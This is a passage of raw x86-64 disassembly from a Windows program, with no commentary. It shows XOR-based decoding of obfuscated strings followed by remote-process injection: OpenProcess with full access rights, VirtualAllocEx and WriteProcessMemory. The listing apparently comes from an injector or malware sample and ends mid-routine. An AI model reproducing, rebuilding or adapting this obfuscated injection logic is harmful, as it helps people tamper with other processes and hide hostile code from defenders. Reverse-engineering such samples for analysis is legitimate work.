shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
add r8d, 8
cmp edx, 0x20
jl 0x140023310
jmp 0x140023439
lea r9, [rbp + 0x7e0]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x140023410
xorps xmm0, xmm0
movups xmmword [rbp + 0x600], xmm0
mov qword [rbp + 0x610], rbx
mov qword [rbp + 0x618], rbx
lea rax, [rbp + 0x7e0]
mov r8, r15
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140023460
lea rdx, [rbp + 0x7e0]
lea rcx, [rbp + 0x600]
call fcn.140005560
nop
mov r8d, 0xff00
lea rdx, [rbp + 0x600]
mov rcx, rdi
call fcn.140005a90
nop
mov rdx, qword [rbp + 0x618]
cmp rdx, 0xf
jbe 0x1400234d5
inc rdx
mov rcx, qword [rbp + 0x600]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400234d0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002faeb
call fcn.1400626b0
mov qword [rbp + 0x610], rbx
mov qword [rbp + 0x618], 0xf
mov byte [rbp + 0x600], 0
lea rax, [rbp + 0x1310]
cmp qword [rbp + 0x1328], 0xf
cmova rax, qword [rbp + 0x1310]
mov qword [rbp + 0x8a0], rax
mov rax, qword [rbp + 0x1320]
mov qword [rbp + 0x8a8], rax
movups xmm6, xmmword [rbp + 0x8a0]
call fcn.140060018
movaps xmmword [rbp + 0x1300], xmm6
lea r8, [rbp + 0x1300]
mov edx, eax
lea rcx, [rbp + 0x760]
call fcn.140003780
nop
mov qword [rbp + 0x1300], rbx
lea rax, [0x1400acf40]
mov qword [rbp + 0x1308], rax
lea rdx, [rbp + 0x1300]
lea rcx, [rbp + 0x760]
call fcn.140004df0
movzx esi, al
cmp dword [rbp + 0x1300], 0
jne 0x14002fad0
mov rdx, qword [rbp + 0x778]
cmp rdx, 7
jbe 0x1400235c1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x760]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400235bc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002faeb
call fcn.1400626b0
mov qword [rbp + 0x770], rbx
mov qword [rbp + 0x778], 7
mov word [rbp + 0x760], bx
mov r8d, ebx
test sil, sil
jne 0x140023836
movups xmm0, xmmword [0x14009c780]
movups xmmword [rbp + 0xae0], xmm0
movups xmm1, xmmword [0x14009c790]
movups xmmword [rbp + 0xaf0], xmm1
movups xmm0, xmmword [0x14009c7a0]
movups xmmword [rbp + 0xb00], xmm0
movsd xmm0, qword [0x14009c7b0]
movsd qword [rbp + 0xb10], xmm0
cmp r12d, 2
jl 0x140023743
mov edx, ebx
movdqa xmmword [rbp + 0x1300], xmm14
lea rcx, [rbp + 0xae0]
mov r8d, dword [rbp + 0x1300]
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
lea r14d, [r14 + 8]
cmp edx, 0x38
jl 0x140023650
jmp 0x140023779
lea r9, [rbp + 0xae0]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140023750
xorps xmm0, xmm0
movups xmmword [rbp + 0x660], xmm0
mov qword [rbp + 0x670], rbx
mov qword [rbp + 0x678], rbx
lea rax, [rbp + 0xae0]
nop dword [rax + rax]
inc r15
cmp byte [rax + r15], 0
jne 0x1400237a0
mov r8, r15
lea rdx, [rbp + 0xae0]
lea rcx, [rbp + 0x660]
call fcn.140005560
nop
mov r8d, 0xff
lea rdx, [rbp + 0x660]
mov rcx, rdi
call fcn.140005a90
nop
mov rdx, qword [rbp + 0x678]
cmp rdx, 0xf
jbe 0x140023818
inc rdx
mov rcx, qword [rbp + 0x660]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023813
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002faeb
call fcn.1400626b0
mov qword [rbp + 0x670], rbx
mov qword [rbp + 0x678], 0xf
mov byte [rbp + 0x660], 0
jmp 0x140023063
movups xmm2, xmmword [0x14009cb30]
movups xmmword [rbp + 0xc8], xmm2
cmp r12d, 2
jl 0x140023a11
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xc8], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xcc]
xorps xmm2, xmm1
movd dword [rbp + 0xcc], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xd0]
xorps xmm2, xmm1
movd dword [rbp + 0xd0], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xd4]
xorps xmm2, xmm1
movd dword [rbp + 0xd4], xmm2
jmp 0x140023a49
lea r9, [rbp + 0xc8]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140023a20
xorps xmm0, xmm0
movups xmmword [rbp + 0x740], xmm0
mov qword [rbp + 0x750], rbx
mov qword [rbp + 0x758], rbx
lea rax, [rbp + 0xc8]
mov r8, r15
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140023a70
lea rdx, [rbp + 0xc8]
lea rcx, [rbp + 0x740]
call fcn.140005560
nop
mov r8d, 0xffff
lea rdx, [rbp + 0x740]
mov rcx, rdi
call fcn.140005a90
nop
mov rdx, qword [rbp + 0x758]
cmp rdx, 0xf
jbe 0x140023ae5
inc rdx
mov rcx, qword [rbp + 0x740]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023ae0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002faeb
call fcn.1400626b0
mov qword [rbp + 0x750], rbx
mov qword [rbp + 0x758], 0xf
mov byte [rbp + 0x740], 0
mov r8d, 0x104
lea rdx, [rbp + 0x1d60]
mov rcx, qword [0x1400afac0]
call qword [sym.imp.USER32.dll_GetWindowTextW]
lea rcx, [rbp + 0x1d60]
call fcn.140017c30
mov dword [rsp + 0x48], eax
test eax, eax
jne 0x140023e98
call fcn.14001ce50
movups xmm2, xmmword [str.9_fEWZ_HO]
movups xmmword [rbp + 0x1f8], xmm2
mov edx, dword [0x14009c6a0]
mov dword [rbp + 0x208], edx
movzx eax, word [0x14009c6a4]
mov word [rbp + 0x20c], ax
mov r8d, ebx
cmp r12d, 2
jl 0x140023da1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd ecx, xmm14
movd xmm0, ecx
paddb xmm8, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm8, xmm0
movd dword [rbp + 0x1f8], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, ecx
paddb xmm11, xmm0
movd xmm1, dword [rbp + 0x1fc]
xorps xmm11, xmm1
movd dword [rbp + 0x1fc], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, ecx
paddb xmm10, xmm0
movd xmm1, dword [rbp + 0x200]
xorps xmm10, xmm1
movd dword [rbp + 0x200], xmm10
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm13, xmm0
andps xmm13, xmm12
packuswb xmm13, xmm13
packuswb xmm13, xmm13
movd xmm0, ecx
paddb xmm13, xmm0
movd xmm1, dword [rbp + 0x204]
xorps xmm13, xmm1
movd dword [rbp + 0x204], xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm15, xmm0
andps xmm15, xmm12
packuswb xmm15, xmm15
packuswb xmm15, xmm15
movd xmm0, ecx
paddb xmm15, xmm0
movd xmm1, edx
xorps xmm15, xmm1
movd dword [rbp + 0x208], xmm15
mov r8d, 0x14
mov eax, r8d
lea r9, [rbp + 0x1f8]
add r9, rax
nop
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140023db0
xorps xmm0, xmm0
movups xmmword [rbp + 0x720], xmm0
mov qword [rbp + 0x730], rbx
mov qword [rbp + 0x738], rbx
lea rax, [rbp + 0x1f8]
inc r15
cmp byte [rax + r15], 0
jne 0x140023e02
mov r8, r15
lea rdx, [rbp + 0x1f8]
lea rcx, [rbp + 0x720]
call fcn.140005560
nop
mov r8d, 0xff
lea rdx, [rbp + 0x720]
mov rcx, rdi
call fcn.140005a90
nop
mov rdx, qword [rbp + 0x738]
cmp rdx, 0xf
jbe 0x140023e7a
inc rdx
mov rcx, qword [rbp + 0x720]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023e75
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002faeb
call fcn.1400626b0
mov qword [rbp + 0x730], rbx
mov qword [rbp + 0x738], 0xf
mov byte [rbp + 0x720], 0
jmp 0x140023063
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x40], rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x140026444
mov esi, dword [rbp + 0x1320]
lea r8, [rbp + 0x1310]
cmp qword [rbp + 0x1328], 0xf
cmova r8, qword [rbp + 0x1310]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
lea r9d, [rsi + 1]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rdi, eax
mov eax, 2
mul rdi
cmovb rax, r15
mov rcx, rax
call fcn.140062a0c
mov r13, rax
lea r8, [rbp + 0x1310]
cmp qword [rbp + 0x1328], 0xf
cmova r8, qword [rbp + 0x1310]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rax
lea r9d, [rsi + 1]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xorps xmm0, xmm0
movups xmmword [rbp + 0x13f0], xmm0
mov qword [rbp + 0x1400], rbx
mov qword [rbp + 0x1408], rbx
mov r8, r15
inc r8
cmp word [r13 + r8*2], 0
jne 0x140023f52
mov rdx, r13
lea rcx, [rbp + 0x13f0]
call fcn.140059c20
mov rcx, r13
call fcn.1400626b0
nop
mov r8, qword [rbp + 0x1400]
lea r8, [r8*2 + 2]
mov dword [rsp + 0x20], r14d
xor edx, edx
mov r9d, 0x3000
mov rsi, qword [rsp + 0x40]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r13, rax
mov qword [rsp + 0x50], rax
test rax, rax
jne 0x140024378
movsd xmm0, qword [0x14009bf38]
movsd qword [rbp + 0x120], xmm0
mov ecx, dword [0x14009bf40]
mov dword [rbp + 0x128], ecx
movzx eax, word [0x14009bf44]
mov word [rbp + 0x12c], ax
movzx eax, byte [0x14009bf46]
mov byte [rbp + 0x12e], al
mov esi, ebx
cmp r12d, 2
jl 0x14002414a
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd eax, xmm14
movd xmm0, eax
paddb xmm8, xmm0
movd xmm0, dword [0x14009bf38]
xorps xmm8, xmm0
movd dword [rbp + 0x120], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, eax
paddb xmm11, xmm0
movd xmm1, dword [rbp + 0x124]
xorps xmm11, xmm1
movd dword [rbp + 0x124], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, eax
paddb xmm10, xmm0
movd xmm1, ecx
xorps xmm10, xmm1
movd dword [rbp + 0x128], xmm10
mov esi, reloc.WS2_32.dll_inet_ntoa
mov eax, esi
lea r8, [rbp + 0x120]
add r8, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, sil
sub al, cl
add al, 0x34
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0xf
jl 0x140024160
lea rcx, [rbp + 0x120]
call fcn.140014d50
nop
mov rdx, qword [rbp + 0x1408]
cmp rdx, 7
jbe 0x1400241e2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x13f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400241dd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002faeb
call fcn.1400626b0
mov qword [rbp + 0x1400], rbx
mov qword [rbp + 0x1408], 7
mov word [rbp + 0x13f0], bx
mov rdx, qword [rbp + 0x1328]
cmp rdx, 0xf
jbe 0x14002423c
inc rdx
mov rcx, qword [rbp + 0x1310]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024237
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002faf7
call fcn.1400626b0
mov qword [rbp + 0x1320], rbx
mov qword [rbp + 0x1328], 0xf
mov byte [rbp + 0x1310], 0
mov rdx, qword [rbp + 0x1348]
cmp rdx, 0xf
jbe 0x140024296
inc rdx
mov rcx, qword [rbp + 0x1330]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024291
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002fafd
call fcn.1400626b0
mov qword [rbp + 0x1340], rbx
mov qword [rbp + 0x1348], 0xf
mov byte [rbp + 0x1330], 0
mov rdx, qword [rbp + 0x1368]
cmp rdx, 0xf
jbe 0x1400242f0
inc rdx
mov rcx, qword [rbp + 0x1350]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400242eb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002fb03
call fcn.1400626b0
mov qword [rbp + 0x1360], rbx
mov qword [rbp + 0x1368], 0xf
mov byte [rbp + 0x1350], 0
mov rdx, qword [rbp + 0x13c8]
cmp rdx, 7
jbe 0x14002434f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x13b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002434a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002fac4
call fcn.1400626b0
mov qword [rbp + 0x13c0], rbx
mov qword [rbp + 0x13c8], 7
mov word [rbp + 0x13b0], bx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14002f598
movups xmm2, xmmword [str.bDCMXVzPQQ_]
movups xmmword [rbp + 0xf0], xmm2
movsd xmm0, qword [str.74_GAL]
movsd qword [rbp + 0x100], xmm0
movzx eax, byte [0x14009c890]
mov byte [rbp + 0x108], al
mov r8d, ebx
cmp r12d, 2
jl 0x140024657
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xf0], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xf4]
xorps xmm2, xmm1
movd dword [rbp + 0xf4], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xf8]
xorps xmm2, xmm1
movd dword [rbp + 0xf8], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xfc]
xorps xmm2, xmm1
movd dword [rbp + 0xfc], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x100]
xorps xmm2, xmm1
movd dword [rbp + 0x100], xmm2
movdqa xmm3, xmmword [0x14009e3d0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm3
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x104]
xorps xmm2, xmm1
movd dword [rbp + 0x104], xmm2
mov r8d, 0x18
mov eax, r8d
lea r9, [rbp + 0xf0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x140024670
xorps xmm0, xmm0
movups xmmword [rbp + 0x700], xmm0
mov qword [rbp + 0x710], rbx
mov qword [rbp + 0x718], rbx
lea rax, [rbp + 0xf0]
inc r15
cmp byte [rax + r15], 0
jne 0x1400246c2
mov r8, r15
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x700]
call fcn.140005560
nop
mov r8d, 0xff00
lea rdx, [rbp + 0x700]
mov r15, qword [rbp + 0x228]
mov rcx, r15
call fcn.140005a90
nop
mov rdx, qword [rbp + 0x718]
cmp rdx, 0xf
jbe 0x140024741
inc rdx
mov rcx, qword [rbp + 0x700]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002473c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002faf1
call fcn.1400626b0
mov qword [rbp + 0x710], rbx
mov qword [rbp + 0x718], 0xf
mov byte [rbp + 0x700], 0
mov rax, qword [rbp + 0x1400]
lea rdi, [rax*2 + 2]
lea rcx, [rbp + 0x13f0]
call fcn.140052030
lea rcx, [rbp + 0x14e0]
mov qword [rsp + 0x20], rcx
mov r9, rdi
mov r8, rax
mov rdx, r13
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400249ef
movups xmm2, xmmword [str.cG_C_iHT_XML_r___6_F]
movups xmmword [rbp + 0x210], xmm2
movzx eax, word [0x14009c598]
mov word [rbp + 0x220], ax
movzx eax, byte [0x14009c59a]
mov byte [rbp + 0x222], al
cmp r12d, 2
jl 0x14002499d
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd ecx, xmm14
movd xmm0, ecx
paddb xmm8, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm8, xmm0
movd dword [rbp + 0x210], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
